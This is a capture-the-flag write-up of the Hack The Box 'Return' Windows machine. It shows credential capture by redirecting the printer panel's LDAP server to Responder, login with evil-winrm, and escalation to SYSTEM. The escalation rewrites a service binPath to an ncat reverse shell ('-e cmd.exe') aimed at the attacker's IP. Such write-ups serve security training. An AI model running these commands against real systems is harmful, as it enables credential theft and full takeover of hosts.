Hack The Box Return Writeup (Easy Windows)

Summary

Return is a Windows domain controller fronted by an HTB Printer Admin Panel on IIS, with guest access disabled on SMB. The panel’s settings tab lets the printer’s LDAP server address be edited, and pointing it at the attacking machine before clicking Update makes the service bind outward to Responder, which logs svc-printer with 1edFg43012!! in cleartext. A NetExec group membership check places that account in Server Operators, Print Operators and Remote Management Users, so evil-winrm gets an interactive session. Server Operators may reconfigure services, so a netcat binary is uploaded and the VMTools service binPath rewritten to launch it. Stopping and starting that service returns a shell running as SYSTEM.

Service Enumeration

I started with a nmap scan

$ nmap -A -vv -oN scans/nmap.initial 10.129.147.255

Not shown: 875 closed tcp ports (conn-refused), 114 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
80/tcp   open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-10-21 12:42:22Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

<SNIP>

SMB Server Enumeration

The server has Guest access disabled, so there’s not much we can do here, for now, without credentials:

Web Server Enumeration

Under the settings tab we can modify the address information for the printer service:

By default, it’s filled with “printer.return.local”.

Capturing Credentials

I modified the Server Address field from the form to include my tun0 IP address like so:

Then I started Responder as root:

python3 Responder.py -I tun0

And, on the website, clicked “Update”. Instantly, got a connection back:

More specifically:

[LDAP] Cleartext Client   : 10.129.147.255
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!

Vertical Privilege Escalation

I used netexec to list for group memberships for the recently owned user “svc-printer”:

$ nxc ldap 10.129.147.255 -u svc-printer -p passwords.txt -M groupmembership -o USER=svc-printer

<SNIP>

GROUPMEM... 10.129.147.255  389    PRINTER          [+] User: svc-printer is member of following groups:
GROUPMEM... 10.129.147.255  389    PRINTER          Server Operators
GROUPMEM... 10.129.147.255  389    PRINTER          Remote Management Users
GROUPMEM... 10.129.147.255  389    PRINTER          Print Operators
GROUPMEM... 10.129.147.255  389    PRINTER          Domain Users

It says our user is member of the “Server Operators” group, which proves to be a clear privilege escalation vector. The user is also member of “Remote Management Users”, which allows me to log in to the machine via winrm:

evil-winrm -i 10.129.147.255 -u svc-printer -p '1edFg43012!!'

Then to exploit my membership in the Server Operators group, I first uploaded a copy of netcat for x86 systems to the machine via my winrm session:

*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload ncat.exe 
                                      
Info: Uploading /home/user/hacking/htb/machines/easy/return/ncat.exe to C:\Users\svc-printer\Documents\ncat.exe                                                           
                                      
Data: 3110228 bytes of 3110228 bytes copied
                                      
Info: Upload successful!

Then I added a new service to the machine, providing a malicious binPath attribute (it’ll connect back to my attacking machine, on port 1234, attaching cmd.exe):

sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\ncat.exe -e cmd.exe 10.10.14.242 1234"

I started the netcat listener on my machine:

rlwrap nc -lvnp 1234

Then on the victim machine I stopped the service:

sc.exe stop VMTools

And started it again:

sc.exe start VMTools

Immediately, the service runs as SYSTEM and I get a shell back on my listener:

Obtaining full control over the machine.